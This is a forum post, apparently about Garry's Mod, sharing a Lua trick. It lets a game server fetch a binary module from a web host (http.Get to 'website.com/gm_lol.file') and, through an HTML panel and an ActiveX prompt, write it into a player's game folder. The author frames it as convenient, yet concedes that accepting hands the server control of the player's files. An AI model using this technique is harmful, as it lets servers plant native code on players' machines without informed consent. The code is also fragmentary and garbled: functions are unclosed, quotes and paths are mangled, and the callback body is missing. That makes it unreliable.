I thought of this unusual thing a few months ago and thought I’d share it.
Before anyone gets all mad and I get banned for telling people how to put modules on the client, don’t worry, the client can easily stop it. It actually could be put to legitimate use for servers that have modules required for proper functioning, or to save the client from having to go find gm_bass.
local function Callback(contents, size)
local function Path()
local u = string.Replace(util.RelativePathToFull("…/garrysmod"),"…\garrysmod","")
u = string.Replace(u,"\","/")
main = function()
HTMLTest = vgui.Create(“HTML”)
local function start()
http.Get(“http://website.com/gm_lol.file”, “”, Callback)
It could obviously be improved to change the contents of the html to whether it was successful or not.
The file needs to be a random extension that is not .dll to function properly.
If you ever get an activex warning in game, only click yes if you completely trust the server you are on, given the fact that you are handing over control of your files to them if you accept.